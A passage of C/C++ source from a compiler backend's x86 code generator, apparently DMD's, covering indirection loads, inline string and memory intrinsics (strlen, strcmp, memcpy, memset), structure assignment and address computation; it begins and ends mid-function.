getregs(cdb,retregs | mCX); if (oper == OPshl) swap((int *) &resreg,(int *) &sreg); if (!e2isconst) // if not sure shift count != 0 cdb.genc2(0xE3,0,6); // JCXZ .+6 cdb.gen2(0xD1,modregrm(3,s1,resreg)); code_orflag(cdb.last(),CFtarg2); cdb.gen2(0xD1,modregrm(3,s2,sreg)); cdb.genc2(0xE2,0,(targ_uns)-6); // LOOP .-6 regimmed_set(CX,0); // note that now CX == 0 } else assert(0); break; } fixresult(cdb,e,retregs,pretregs); } /*************************** * Perform a 'star' reference (indirection). */ void cdind(CodeBuilder& cdb,elem *e,regm_t *pretregs) { regm_t retregs; unsigned reg,nreg; //printf("cdind(e = %p, *pretregs = %s)\n",e,regm_str(*pretregs)); tym_t tym = tybasic(e->Ety); if (tyfloating(tym)) { if (config.inline8087) { if (*pretregs & mST0) { cdind87(cdb, e, pretregs); return; } if (I64 && tym == TYcfloat && *pretregs & (ALLREGS | mBP)) ; else if (tycomplex(tym)) { cload87(cdb, e, pretregs); return; } if (*pretregs & mPSW) { cdind87(cdb, e, pretregs); return; } } } elem *e1 = e->E1; assert(e1); switch (tym) { case TYstruct: case TYarray: // This case should never happen, why is it here? tym = TYnptr; // don't confuse allocreg() if (*pretregs & (mES | mCX) || e->Ety & mTYfar) tym = TYfptr; break; } unsigned sz = _tysize[tym]; unsigned byte = tybyte(tym) != 0; code cs; getlvalue(cdb,&cs,e,RMload); // get addressing mode //printf("Irex = %02x, Irm = x%02x, Isib = x%02x\n", cs.Irex, cs.Irm, cs.Isib); //fprintf(stderr,"cd2 :\n"); WRcodlst(c); if (*pretregs == 0) { if (e->Ety & mTYvolatile) // do the load anyway *pretregs = regmask(e->Ety, 0); // load into registers else return; } regm_t idxregs = idxregm(&cs); // mask of index regs used if (*pretregs == mPSW) { if (!I16 && tym == TYfloat) { retregs = ALLREGS & ~idxregs; allocreg(cdb,&retregs,&reg,TYfloat); cs.Iop = 0x8B; code_newreg(&cs,reg); cdb.gen(&cs); // MOV reg,lsw cdb.gen2(0xD1,modregrmx(3,4,reg)); // SHL reg,1 code_orflag(cdb.last(), CFpsw); } else if (sz <= REGSIZE) { cs.Iop = 0x81 ^ byte; cs.Irm |= modregrm(0,7,0); cs.IFL2 = FLconst; cs.IEV2.Vsize_t = 0; cdb.gen(&cs); // CMP [idx],0 } else if (!I16 && sz == REGSIZE + 2) // if far pointer { retregs = ALLREGS & ~idxregs; allocreg(cdb,&retregs,&reg,TYint); cs.Iop = 0x0FB7; cs.Irm |= modregrm(0,reg,0); getlvalue_msw(&cs); cdb.gen(&cs); // MOVZX reg,msw goto L4; } else if (sz <= 2 * REGSIZE) { retregs = ALLREGS & ~idxregs; allocreg(cdb,&retregs,&reg,TYint); cs.Iop = 0x8B; code_newreg(&cs,reg); getlvalue_msw(&cs); cdb.gen(&cs); // MOV reg,msw if (I32) { if (tym == TYdouble || tym == TYdouble_alias) cdb.gen2(0xD1,modregrm(3,4,reg)); // SHL reg,1 } else if (tym == TYfloat) cdb.gen2(0xD1,modregrm(3,4,reg)); // SHL reg,1 L4: cs.Iop = 0x0B; getlvalue_lsw(&cs); cs.Iflags |= CFpsw; cdb.gen(&cs); // OR reg,lsw } else if (!I32 && sz == 8) { *pretregs |= DOUBLEREGS_16; // fake it for now goto L1; } else { debugx(WRTYxx(tym)); assert(0); } } else // else return result in reg { L1: retregs = *pretregs; if (sz == 8 && (retregs & (mPSW | mSTACK | ALLREGS | mBP)) == mSTACK) { int i; // Optimizer should not CSE these, as the result is worse code! assert(!e->Ecount); cs.Iop = 0xFF; cs.Irm |= modregrm(0,6,0); cs.IEVoffset1 += 8 - REGSIZE; stackchanged = 1; i = 8 - REGSIZE; do { cdb.gen(&cs); // PUSH EA+i cdb.genadjesp(REGSIZE); cs.IEVoffset1 -= REGSIZE; stackpush += REGSIZE; i -= REGSIZE; } while (i >= 0); goto L3; } if (I16 && sz == 8) retregs = DOUBLEREGS_16; // Watch out for loading an lptr from an lptr! We must have // the offset loaded into a different register. /*if (retregs & mES && (cs.Iflags & CFSEG) == CFes) retregs = ALLREGS;*/ { assert(!byte || retregs & BYTEREGS); allocreg(cdb,&retregs,&reg,tym); // alloc registers } if (retregs & XMMREGS) { assert(sz == 4 || sz == 8 || sz == 16 || sz == 32); // float, double or vector cs.Iop = xmmload(tym); cs.Irex &= ~REX_W; code_newreg(&cs,reg - XMM0); checkSetVex(&cs,tym); cdb.gen(&cs); // MOV reg,[idx] } else if (sz <= REGSIZE) { cs.Iop = 0x8B; // MOV if (sz <= 2 && !I16 && config.target_cpu >= TARGET_PentiumPro && config.flags4 & CFG4speed) { cs.Iop = tyuns(tym) ? 0x0FB7 : 0x0FBF; // MOVZX/MOVSX cs.Iflags &= ~CFopsize; } cs.Iop ^= byte; L2: code_newreg(&cs,reg); cdb.gen(&cs); // MOV reg,[idx] if (byte && reg >= 4) code_orrex(cdb.last(), REX); } else if ((tym == TYfptr || tym == TYhptr) && retregs & mES) { cs.Iop = 0xC4; // LES reg,[idx] goto L2; } else if (sz <= 2 * REGSIZE) { unsigned lsreg; cs.Iop = 0x8B; // Be careful not to interfere with index registers if (!I16) { // Can't handle if both result registers are used in // the addressing mode. if ((retregs & idxregs) == retregs) { retregs = mMSW & allregs & ~idxregs; if (!retregs) retregs |= mCX; retregs |= mLSW & ~idxregs; // We can run out of registers, so if that's possible, // give us *one* of the idxregs if ((retregs & ~regcon.mvar & mLSW) == 0) { regm_t x = idxregs & mLSW; if (x) retregs |= mask[findreg(x)]; // give us one idxreg } else if ((retregs & ~regcon.mvar & mMSW) == 0) { regm_t x = idxregs & mMSW; if (x) retregs |= mask[findreg(x)]; // give us one idxreg } allocreg(cdb,&retregs,&reg,tym); // alloc registers assert((retregs & idxregs) != retregs); } lsreg = findreglsw(retregs); if (mask[reg] & idxregs) // reg is in addr mode { code_newreg(&cs,lsreg); cdb.gen(&cs); // MOV lsreg,lsw if (sz == REGSIZE + 2) cs.Iflags |= CFopsize; lsreg = reg; getlvalue_msw(&cs); // MOV reg,msw } else { code_newreg(&cs,reg); getlvalue_msw(&cs); cdb.gen(&cs); // MOV reg,msw if (sz == REGSIZE + 2) cdb.last()->Iflags |= CFopsize; getlvalue_lsw(&cs); // MOV lsreg,lsw } NEWREG(cs.Irm,lsreg); cdb.gen(&cs); } else { // Index registers are always the lsw! cs.Irm |= modregrm(0,reg,0); getlvalue_msw(&cs); cdb.gen(&cs); // MOV reg,msw lsreg = findreglsw(retregs); NEWREG(cs.Irm,lsreg); getlvalue_lsw(&cs); // MOV lsreg,lsw cdb.gen(&cs); } } else if (I16 && sz == 8) { assert(reg == AX); cs.Iop = 0x8B; cs.IEVoffset1 += 6; cdb.gen(&cs); // MOV AX,EA+6 cs.Irm |= modregrm(0,CX,0); cs.IEVoffset1 -= 4; cdb.gen(&cs); // MOV CX,EA+2 NEWREG(cs.Irm,DX); cs.IEVoffset1 -= 2; cdb.gen(&cs); // MOV DX,EA cs.IEVoffset1 += 4; NEWREG(cs.Irm,BX); cdb.gen(&cs); // MOV BX,EA+4 } else assert(0); L3: fixresult(cdb,e,retregs,pretregs); } //fprintf(stderr,"cdafter :\n"); WRcodlst(c); } #if !TARGET_SEGMENTED #define cod2_setES(ty) NULL #else /******************************** * Generate code to load ES with the right segment value, * do nothing if e is a far pointer. */ STATIC code *cod2_setES(tym_t ty) { int push; CodeBuilder cdb; switch (tybasic(ty)) { case TYnptr: if (!(config.flags3 & CFG3eseqds)) { push = 0x1E; // PUSH DS goto L1; } break; case TYcptr: push = 0x0E; // PUSH CS goto L1; case TYsptr: if ((config.wflags & WFssneds) || !(config.flags3 & CFG3eseqds)) { push = 0x16; // PUSH SS L1: // Must load ES getregs(cdb,mES); cdb.gen1(push); cdb.gen1(0x07); // POP ES } break; } return cdb.finish(); } #endif /******************************** * Generate code for intrinsic strlen(). */ void cdstrlen(CodeBuilder& cdb, elem *e, regm_t *pretregs) { /* Generate strlen in CX: LES DI,e1 CLR AX ;scan for 0 MOV CX,-1 ;largest possible string REPNE SCASB NOT CX DEC CX */ regm_t retregs = mDI; tym_t ty1 = e->E1->Ety; if (!tyreg(ty1)) retregs |= mES; codelem(cdb,e->E1,&retregs,FALSE); // Make sure ES contains proper segment value cdb.append(cod2_setES(ty1)); unsigned char rex = I64 ? REX_W : 0; getregs_imm(cdb,mAX | mCX); movregconst(cdb,AX,0,1); // MOV AL,0 movregconst(cdb,CX,-1LL,I64 ? 64 : 0); // MOV CX,-1 getregs(cdb,mDI|mCX); cdb.gen1(0xF2); // REPNE cdb.gen1(0xAE); // SCASB genregs(cdb,0xF7,2,CX); // NOT CX code_orrex(cdb.last(), rex); if (I64) cdb.gen2(0xFF,(rex << 16) | modregrm(3,1,CX)); // DEC reg else cdb.gen1(0x48 + CX); // DEC CX if (*pretregs & mPSW) { cdb.last()->Iflags |= CFpsw; *pretregs &= ~mPSW; } fixresult(cdb,e,mCX,pretregs); } /********************************* * Generate code for strcmp(s1,s2) intrinsic. */ void cdstrcmp(CodeBuilder& cdb, elem *e, regm_t *pretregs) { char need_DS; int segreg; /* MOV SI,s1 ;get destination pointer (s1) MOV CX,s1+2 LES DI,s2 ;get source pointer (s2) PUSH DS MOV DS,CX CLR AX ;scan for 0 MOV CX,-1 ;largest possible string REPNE SCASB NOT CX ;CX = string length of s2 SUB DI,CX ;point DI back to beginning REPE CMPSB ;compare string POP DS JE L1 ;strings are equal SBB AX,AX SBB AX,-1 L1: */ regm_t retregs1 = mSI; tym_t ty1 = e->E1->Ety; if (!tyreg(ty1)) retregs1 |= mCX; codelem(cdb,e->E1,&retregs1,FALSE); regm_t retregs = mDI; tym_t ty2 = e->E2->Ety; if (!tyreg(ty2)) retregs |= mES; scodelem(cdb,e->E2,&retregs,retregs1,FALSE); // Make sure ES contains proper segment value cdb.append(cod2_setES(ty2)); getregs_imm(cdb,mAX | mCX); unsigned char rex = I64 ? REX_W : 0; // Load DS with right value switch (tybasic(ty1)) { case TYnptr: need_DS = FALSE; break; case TYsptr: if (config.wflags & WFssneds) // if sptr can't use DS segment segreg = SEG_SS; else segreg = SEG_DS; goto L1; case TYcptr: segreg = SEG_CS; L1: cdb.gen1(0x1E); // PUSH DS cdb.gen1(0x06 + (segreg << 3)); // PUSH segreg cdb.gen1(0x1F); // POP DS need_DS = TRUE; break; case TYfptr: case TYvptr: case TYhptr: cdb.gen1(0x1E); // PUSH DS cdb.gen2(0x8E,modregrm(3,SEG_DS,CX)); // MOV DS,CX need_DS = TRUE; break; default: assert(0); } movregconst(cdb,AX,0,0); // MOV AX,0 movregconst(cdb,CX,-1LL,I64 ? 64 : 0); // MOV CX,-1 getregs(cdb,mSI|mDI|mCX); cdb.gen1(0xF2); // REPNE cdb.gen1(0xAE); // SCASB genregs(cdb,0xF7,2,CX); // NOT CX code_orrex(cdb.last(),rex); genregs(cdb,0x2B,DI,CX); // SUB DI,CX code_orrex(cdb.last(),rex); cdb.gen1(0xF3); // REPE cdb.gen1(0xA6); // CMPSB if (need_DS) cdb.gen1(0x1F); // POP DS code *c4 = gennop(CNIL); if (*pretregs != mPSW) // if not flags only { genjmp(cdb,JE,FLcode,(block *) c4); // JE L1 getregs(cdb,mAX); genregs(cdb,0x1B,AX,AX); // SBB AX,AX code_orrex(cdb.last(),rex); cdb.genc2(0x81,(rex << 16) | modregrm(3,3,AX),(targ_uns)-1); // SBB AX,-1 } *pretregs &= ~mPSW; cdb.append(c4); fixresult(cdb,e,mAX,pretregs); } /********************************* * Generate code for memcmp(s1,s2,n) intrinsic. */ void cdmemcmp(CodeBuilder& cdb,elem *e,regm_t *pretregs) { char need_DS; int segreg; /* MOV SI,s1 ;get destination pointer (s1) MOV DX,s1+2 LES DI,s2 ;get source pointer (s2) MOV CX,n ;get number of bytes to compare PUSH DS MOV DS,DX XOR AX,AX REPE CMPSB ;compare string POP DS JE L1 ;strings are equal SBB AX,AX SBB AX,-1 L1: */ elem *e1 = e->E1; assert(e1->Eoper == OPparam); // Get s1 into DX:SI regm_t retregs1 = mSI; tym_t ty1 = e1->E1->Ety; if (!tyreg(ty1)) retregs1 |= mDX; codelem(cdb,e1->E1,&retregs1,FALSE); // Get s2 into ES:DI regm_t retregs = mDI; tym_t ty2 = e1->E2->Ety; if (!tyreg(ty2)) retregs |= mES; scodelem(cdb,e1->E2,&retregs,retregs1,FALSE); freenode(e1); // Get nbytes into CX regm_t retregs3 = mCX; scodelem(cdb,e->E2,&retregs3,retregs | retregs1,FALSE); // Make sure ES contains proper segment value cdb.append(cod2_setES(ty2)); // Load DS with right value switch (tybasic(ty1)) { case TYnptr: need_DS = FALSE; break; case TYsptr: if (config.wflags & WFssneds) // if sptr can't use DS segment segreg = SEG_SS; else segreg = SEG_DS; goto L1; case TYcptr: segreg = SEG_CS; L1: cdb.gen1(0x1E); // PUSH DS cdb.gen1(0x06 + (segreg << 3)); // PUSH segreg cdb.gen1(0x1F); // POP DS need_DS = TRUE; break; case TYfptr: case TYvptr: case TYhptr: cdb.gen1(0x1E); // PUSH DS cdb.gen2(0x8E,modregrm(3,SEG_DS,DX)); // MOV DS,DX need_DS = TRUE; break; default: assert(0); } #if 1 getregs(cdb,mAX); cdb.gen2(0x33,modregrm(3,AX,AX)); // XOR AX,AX code_orflag(cdb.last(), CFpsw); // keep flags #else if (*pretregs != mPSW) // if not flags only regwithvalue(cdb,mAX,0,NULL,0); // put 0 in AX #endif getregs(cdb,mCX | mSI | mDI); cdb.gen1(0xF3); // REPE cdb.gen1(0xA6); // CMPSB if (need_DS) cdb.gen1(0x1F); // POP DS if (*pretregs != mPSW) // if not flags only { code *c4 = gennop(CNIL); genjmp(cdb,JE,FLcode,(block *) c4); // JE L1 getregs(cdb,mAX); genregs(cdb,0x1B,AX,AX); // SBB AX,AX cdb.genc2(0x81,modregrm(3,3,AX),(targ_uns)-1); // SBB AX,-1 cdb.append(c4); } *pretregs &= ~mPSW; fixresult(cdb,e,mAX,pretregs); } /********************************* * Generate code for strcpy(s1,s2) intrinsic. */ void cdstrcpy(CodeBuilder& cdb,elem *e,regm_t *pretregs) { char need_DS; int segreg; /* LES DI,s2 ;ES:DI = s2 CLR AX ;scan for 0 MOV CX,-1 ;largest possible string REPNE SCASB ;find end of s2 NOT CX ;CX = strlen(s2) + 1 (for EOS) SUB DI,CX MOV SI,DI PUSH DS PUSH ES LES DI,s1 POP DS MOV AX,DI ;return value is s1 REP MOVSB POP DS */ stackchanged = 1; regm_t retregs = mDI; tym_t ty2 = tybasic(e->E2->Ety); if (!tyreg(ty2)) retregs |= mES; unsigned char rex = I64 ? REX_W : 0; codelem(cdb,e->E2,&retregs,FALSE); // Make sure ES contains proper segment value cdb.append(cod2_setES(ty2)); getregs_imm(cdb,mAX | mCX); movregconst(cdb,AX,0,1); // MOV AL,0 movregconst(cdb,CX,-1,I64?64:0); // MOV CX,-1 getregs(cdb,mAX|mCX|mSI|mDI); cdb.gen1(0xF2); // REPNE cdb.gen1(0xAE); // SCASB genregs(cdb,0xF7,2,CX); // NOT CX code_orrex(cdb.last(),rex); genregs(cdb,0x2B,DI,CX); // SUB DI,CX code_orrex(cdb.last(),rex); genmovreg(cdb,SI,DI); // MOV SI,DI // Load DS with right value switch (ty2) { case TYnptr: need_DS = FALSE; break; case TYsptr: if (config.wflags & WFssneds) // if sptr can't use DS segment segreg = SEG_SS; else segreg = SEG_DS; goto L1; case TYcptr: segreg = SEG_CS; L1: cdb.gen1(0x1E); // PUSH DS cdb.gen1(0x06 + (segreg << 3)); // PUSH segreg cdb.genadjesp(REGSIZE * 2); need_DS = TRUE; break; case TYfptr: case TYvptr: case TYhptr: segreg = SEG_ES; goto L1; break; default: assert(0); } retregs = mDI; tym_t ty1 = tybasic(e->E1->Ety); if (!tyreg(ty1)) retregs |= mES; scodelem(cdb,e->E1,&retregs,mCX|mSI,FALSE); getregs(cdb,mAX|mCX|mSI|mDI); // Make sure ES contains proper segment value if (ty2 != TYnptr || ty1 != ty2) cdb.append(cod2_setES(ty1)); else {} // ES is already same as DS if (need_DS) cdb.gen1(0x1F); // POP DS if (*pretregs) genmovreg(cdb,AX,DI); // MOV AX,DI cdb.gen1(0xF3); // REP cdb.gen1(0xA4); // MOVSB if (need_DS) { cdb.gen1(0x1F); // POP DS cdb.genadjesp(-(REGSIZE * 2)); } fixresult(cdb,e,mAX | mES,pretregs); } /********************************* * Generate code for memcpy(s1,s2,n) intrinsic. * OPmemcpy * / \ * s1 OPparam * / \ * s2 n */ void cdmemcpy(CodeBuilder& cdb,elem *e,regm_t *pretregs) { char need_DS; int segreg; /* MOV SI,s2 MOV DX,s2+2 MOV CX,n LES DI,s1 PUSH DS MOV DS,DX MOV AX,DI ;return value is s1 REP MOVSB POP DS */ elem *e2 = e->E2; assert(e2->Eoper == OPparam); // Get s2 into DX:SI regm_t retregs2 = mSI; tym_t ty2 = e2->E1->Ety; if (!tyreg(ty2)) retregs2 |= mDX; codelem(cdb,e2->E1,&retregs2,FALSE); // Get nbytes into CX regm_t retregs3 = mCX; scodelem(cdb,e2->E2,&retregs3,retregs2,FALSE); freenode(e2); // Get s1 into ES:DI regm_t retregs1 = mDI; tym_t ty1 = e->E1->Ety; if (!tyreg(ty1)) retregs1 |= mES; scodelem(cdb,e->E1,&retregs1,retregs2 | retregs3,FALSE); unsigned char rex = I64 ? REX_W : 0; // Make sure ES contains proper segment value cdb.append(cod2_setES(ty1)); // Load DS with right value switch (tybasic(ty2)) { case TYnptr: need_DS = FALSE; break; case TYsptr: if (config.wflags & WFssneds) // if sptr can't use DS segment segreg = SEG_SS; else segreg = SEG_DS; goto L1; case TYcptr: segreg = SEG_CS; L1: cdb.gen1(0x1E); // PUSH DS cdb.gen1(0x06 + (segreg << 3)); // PUSH segreg cdb.gen1(0x1F); // POP DS need_DS = TRUE; break; case TYfptr: case TYvptr: case TYhptr: cdb.gen1(0x1E); // PUSH DS cdb.gen2(0x8E,modregrm(3,SEG_DS,DX)); // MOV DS,DX need_DS = TRUE; break; default: assert(0); } if (*pretregs) // if need return value { getregs(cdb,mAX); genmovreg(cdb,AX,DI); } if (0 && I32 && config.flags4 & CFG4speed) { /* This is only faster if the memory is dword aligned, if not * it is significantly slower than just a rep movsb. */ /* mov EDX,ECX * shr ECX,2 * jz L1 * repe movsd * L1: nop * and EDX,3 * jz L2 * mov ECX,EDX * repe movsb * L2: nop */ getregs(cdb,mSI | mDI | mCX | mDX); genmovreg(cdb,DX,CX); // MOV EDX,ECX cdb.genc2(0xC1,modregrm(3,5,CX),2); // SHR ECX,2 code *cx = gennop(CNIL); genjmp(cdb, JE, FLcode, (block *)cx); // JZ L1 cdb.gen1(0xF3); // REPE cdb.gen1(0xA5); // MOVSW cdb.append(cx); cdb.genc2(0x81, modregrm(3,4,DX),3); // AND EDX,3 code *cnop = gennop(CNIL); genjmp(cdb, JE, FLcode, (block *)cnop); // JZ L2 genmovreg(cdb,CX,DX); // MOV ECX,EDX cdb.gen1(0xF3); // REPE cdb.gen1(0xA4); // MOVSB cdb.append(cnop); } else { getregs(cdb,mSI | mDI | mCX); if (!I32 && config.flags4 & CFG4speed) // if speed optimization { cdb.gen2(0xD1,(rex << 16) | modregrm(3,5,CX)); // SHR CX,1 cdb.gen1(0xF3); // REPE cdb.gen1(0xA5); // MOVSW cdb.gen2(0x11,(rex << 16) | modregrm(3,CX,CX)); // ADC CX,CX } cdb.gen1(0xF3); // REPE cdb.gen1(0xA4); // MOVSB if (need_DS) cdb.gen1(0x1F); // POP DS } fixresult(cdb,e,mES|mAX,pretregs); } /********************************* * Generate code for memset(s,val,n) intrinsic. * (s OPmemset (n OPparam val)) */ void cdmemset(CodeBuilder& cdb,elem *e,regm_t *pretregs) { regm_t retregs1; regm_t retregs2; regm_t retregs3; unsigned reg,vreg; tym_t ty1; int segreg; unsigned remainder; targ_uns numbytes,numwords; int op; targ_size_t value; unsigned m; //printf("cdmemset(*pretregs = %s)\n", regm_str(*pretregs)); elem *e2 = e->E2; assert(e2->Eoper == OPparam); unsigned char rex = I64 ? REX_W : 0; bool e2E2isConst = false; if (e2->E2->Eoper == OPconst) { value = el_tolong(e2->E2); value &= 0xFF; value |= value << 8; value |= value << 16; value |= value << 32; e2E2isConst = true; } else if (e2->E2->Eoper == OPstrpar) // happens if e2->E2 is a struct of 0 size { value = 0; e2E2isConst = true; } else value = 0xDEADBEEF; // stop annoying false positives that value is not inited if (e2->E1->Eoper == OPconst) { numbytes = el_tolong(e2->E1); if (numbytes <= REP_THRESHOLD && !I16 && // doesn't work for 16 bits e2E2isConst) { targ_uns offset = 0; retregs1 = *pretregs; if (!retregs1) retregs1 = ALLREGS; codelem(cdb,e->E1,&retregs1,FALSE); reg = findreg(retregs1); if (e2->E2->Eoper == OPconst) { const unsigned mrm = buildModregrm(0,0,reg); switch (numbytes) { case 4: // MOV [reg],imm32 cdb.genc2(0xC7,mrm,value); goto fixres; case 2: // MOV [reg],imm16 cdb.genc2(0xC7,mrm,value); cdb.last()->Iflags = CFopsize; goto fixres; case 1: // MOV [reg],imm8 cdb.genc2(0xC6,mrm,value); goto fixres; } } regwithvalue(cdb, BYTEREGS & ~retregs1, value, &vreg, I64 ? 64 : 0); freenode(e2->E2); freenode(e2); m = (rex << 16) | buildModregrm(2,vreg,reg); while (numbytes >= REGSIZE) { // MOV dword ptr offset[reg],vreg cdb.gen2(0x89,m); cdb.last()->IEVoffset1 = offset; cdb.last()->IFL1 = FLconst; numbytes -= REGSIZE; offset += REGSIZE; } m &= ~(rex << 16); if (numbytes & 4) { // MOV dword ptr offset[reg],vreg cdb.gen2(0x89,m); cdb.last()->IEVoffset1 = offset; cdb.last()->IFL1 = FLconst; offset += 4; } if (numbytes & 2) { // MOV word ptr offset[reg],vreg cdb.gen2(0x89,m); cdb.last()->IEVoffset1 = offset; cdb.last()->IFL1 = FLconst; cdb.last()->Iflags = CFopsize; offset += 2; } if (numbytes & 1) { // MOV byte ptr offset[reg],vreg cdb.gen2(0x88,m); cdb.last()->IEVoffset1 = offset; cdb.last()->IFL1 = FLconst; if (I64 && vreg >= 4) cdb.last()->Irex |= REX; } fixres: fixresult(cdb,e,retregs1,pretregs); return; } } // Get nbytes into CX retregs2 = mCX; if (!I16 && e2->E1->Eoper == OPconst && e2E2isConst) { remainder = numbytes & (4 - 1); numwords = numbytes / 4; // number of words op = 0xAB; // moving by words getregs(cdb,mCX); movregconst(cdb,CX,numwords,I64?64:0); // # of bytes/words } else { remainder = 0; op = 0xAA; // must move by bytes codelem(cdb,e2->E1,&retregs2,FALSE); } // Get val into AX retregs3 = mAX; if (!I16 && e2E2isConst) { regwithvalue(cdb, mAX, value, NULL, I64?64:0); freenode(e2->E2); } else { scodelem(cdb,e2->E2,&retregs3,retregs2,FALSE); #if 0 if (I32) { cdb.gen2(0x8A,modregrm(3,AH,AL)); // MOV AH,AL cdb.genc2(0xC1,modregrm(3,4,AX),8); // SHL EAX,8 cdb.gen2(0x8A,modregrm(3,AL,AH)); // MOV AL,AH cdb.genc2(0xC1,modregrm(3,4,AX),8); // SHL EAX,8 cdb.gen2(0x8A,modregrm(3,AL,AH)); // MOV AL,AH } #endif } freenode(e2); // Get s into ES:DI retregs1 = mDI; ty1 = e->E1->Ety; if (!tyreg(ty1)) retregs1 |= mES; scodelem(cdb,e->E1,&retregs1,retregs2 | retregs3,FALSE); reg = DI; //findreg(retregs1); // Make sure ES contains proper segment value cdb.append(cod2_setES(ty1)); if (*pretregs) // if need return value { getregs(cdb,mBX); genmovreg(cdb,BX,DI); } getregs(cdb,mDI | mCX); if (I16 && config.flags4 & CFG4speed) // if speed optimization { getregs(cdb,mAX); cdb.gen2(0x8A,modregrm(3,AH,AL)); // MOV AH,AL cdb.gen2(0xD1,modregrm(3,5,CX)); // SHR CX,1 cdb.gen1(0xF3); // REP cdb.gen1(0xAB); // STOSW cdb.gen2(0x11,modregrm(3,CX,CX)); // ADC CX,CX op = 0xAA; } cdb.gen1(0xF3); // REP cdb.gen1(op); // STOSD m = buildModregrm(2,AX,reg); if (remainder & 4) { cdb.gen2(0x89,m); cdb.last()->IFL1 = FLconst; } if (remainder & 2) { cdb.gen2(0x89,m); cdb.last()->Iflags = CFopsize; cdb.last()->IEVoffset1 = remainder & 4; cdb.last()->IFL1 = FLconst; } if (remainder & 1) { cdb.gen2(0x88,m); cdb.last()->IEVoffset1 = remainder & ~1; cdb.last()->IFL1 = FLconst; } regimmed_set(CX,0); fixresult(cdb,e,mES|mBX,pretregs); } /********************** * Do structure assignments. * This should be fixed so that (s1 = s2) is rewritten to (&s1 = &s2). * Mebbe call cdstreq() for double assignments??? */ void cdstreq(CodeBuilder& cdb,elem *e,regm_t *pretregs) { char need_DS = FALSE; elem *e1 = e->E1; elem *e2 = e->E2; int segreg; unsigned numbytes = type_size(e->ET); // # of bytes in structure/union unsigned char rex = I64 ? REX_W : 0; //printf("cdstreq(e = %p, *pretregs = %s)\n", e, regm_str(*pretregs)); // First, load pointer to rvalue into SI regm_t srcregs = mSI; // source is DS:SI docommas(cdb,&e2); if (e2->Eoper == OPind) // if (.. = *p) { elem *e21 = e2->E1; segreg = SEG_DS; switch (tybasic(e21->Ety)) { case TYsptr: if (config.wflags & WFssneds) // if sptr can't use DS segment segreg = SEG_SS; break; case TYcptr: if (!(config.exe & EX_flat)) segreg = SEG_CS; break; case TYfptr: case TYvptr: case TYhptr: srcregs |= mCX; // get segment also need_DS = TRUE; break; } codelem(cdb,e21,&srcregs,FALSE); freenode(e2); if (segreg != SEG_DS) // if not DS { getregs(cdb,mCX); cdb.gen2(0x8C,modregrm(3,segreg,CX)); // MOV CX,segreg need_DS = TRUE; } } else if (e2->Eoper == OPvar) { if (e2->EV.sp.Vsym->ty() & mTYfar) // if e2 is in a far segment { srcregs |= mCX; // get segment also need_DS = TRUE; cdrelconst(cdb,e2,&srcregs); } else { segreg = segfl[el_fl(e2)]; if ((config.wflags & WFssneds) && segreg == SEG_SS || // if source is on stack segreg == SEG_CS) // if source is in CS { need_DS = TRUE; // we need to reload DS // Load CX with segment srcregs |= mCX; getregs(cdb,mCX); cdb.gen2(0x8C, // MOV CX,[SS|CS] modregrm(3,segreg,CX)); } cdrelconst(cdb,e2,&srcregs); } freenode(e2); } else { if (!(config.exe & EX_flat)) { need_DS = TRUE; srcregs |= mCX; } codelem(cdb,e2,&srcregs,FALSE); } // now get pointer to lvalue (destination) in ES:DI regm_t dstregs = (config.exe & EX_flat) ? mDI : mES|mDI; if (e1->Eoper == OPind) // if (*p = ..) { if (tyreg(e1->E1->Ety)) dstregs = mDI; cdb.append(cod2_setES(e1->E1->Ety)); scodelem(cdb,e1->E1,&dstregs,srcregs,FALSE); } else cdrelconst(cdb,e1,&dstregs); freenode(e1); getregs(cdb,(srcregs | dstregs) & (mLSW | mDI)); if (need_DS) { assert(!(config.exe & EX_flat)); cdb.gen1(0x1E); // PUSH DS cdb.gen2(0x8E,modregrm(3,SEG_DS,CX)); // MOV DS,CX } if (numbytes <= REGSIZE * (6 + (REGSIZE == 4))) { while (numbytes >= REGSIZE) { cdb.gen1(0xA5); // MOVSW code_orrex(cdb.last(), rex); numbytes -= REGSIZE; } //if (numbytes) // printf("cdstreq numbytes %d\n",numbytes); while (numbytes--) cdb.gen1(0xA4); // MOVSB } else { #if 1 unsigned remainder = numbytes & (REGSIZE - 1); numbytes /= REGSIZE; // number of words getregs_imm(cdb,mCX); movregconst(cdb,CX,numbytes,0); // # of bytes/words cdb.gen1(0xF3); // REP if (REGSIZE == 8) cdb.gen1(REX | REX_W); cdb.gen1(0xA5); // REP MOVSD regimmed_set(CX,0); // note that CX == 0 for (; remainder; remainder--) { cdb.gen1(0xA4); // MOVSB } #else unsigned movs; if (numbytes & (REGSIZE - 1)) // if odd movs = 0xA4; // MOVSB else { movs = 0xA5; // MOVSW numbytes /= REGSIZE; // # of words } getregs_imm(cdb,mCX); movregconst(cdb,CX,numbytes,0); // # of bytes/words cdb.gen1(0xF3); // REP cdb.gen1(movs); regimmed_set(CX,0); // note that CX == 0 #endif } if (need_DS) cdb.gen1(0x1F); // POP DS assert(!(*pretregs & mPSW)); if (*pretregs) { // ES:DI points past what we want cdb.genc2(0x81,(rex << 16) | modregrm(3,5,DI), type_size(e->ET)); // SUB DI,numbytes regm_t retregs = mDI; if (*pretregs & mMSW && !(config.exe & EX_flat)) retregs |= mES; fixresult(cdb,e,retregs,pretregs); } } /********************** * Get the address of. * Is also called by cdstreq() to set up pointer to a structure. */ void cdrelconst(CodeBuilder& cdb,elem *e,regm_t *pretregs) { //printf("cdrelconst(e = %p, *pretregs = %s)\n", e, regm_str(*pretregs)); /* The following should not happen, but cgelem.c is a little stupid. * Assertion can be tripped by func("string" == 0); and similar * things. Need to add goals to optelem() to fix this completely. */ //assert((*pretregs & mPSW) == 0); if (*pretregs & mPSW) { *pretregs &= ~mPSW; gentstreg(cdb,SP); // SP is never 0 if (I64) code_orrex(cdb.last(), REX_W); } if (!*pretregs) return; assert(e); tym_t tym = tybasic(e->Ety); switch (tym) { case TYstruct: case TYarray: case TYldouble: case TYildouble: case TYcldouble: tym = TYnptr; // don't confuse allocreg() if (*pretregs & (mES | mCX) || e->Ety & mTYfar) { tym = TYfptr; } break; case TYifunc: tym = TYfptr; break; default: if (tyfunc(tym)) tym = tyfarfunc(tym) ? TYfptr : TYnptr; break; } //assert(tym & typtr); // don't fail on (int)&a enum SC sclass; unsigned mreg, // segment of the address (TYfptrs only) lreg; // offset of the address allocreg(cdb,pretregs,&lreg,tym); if (_tysize[tym] > REGSIZE) // fptr could've been cast to long { if (*pretregs & mES) { /* Do not allocate CX or SI here, as cdstreq() needs * them preserved. cdstreq() should use scodelem() */ regm_t scratch = 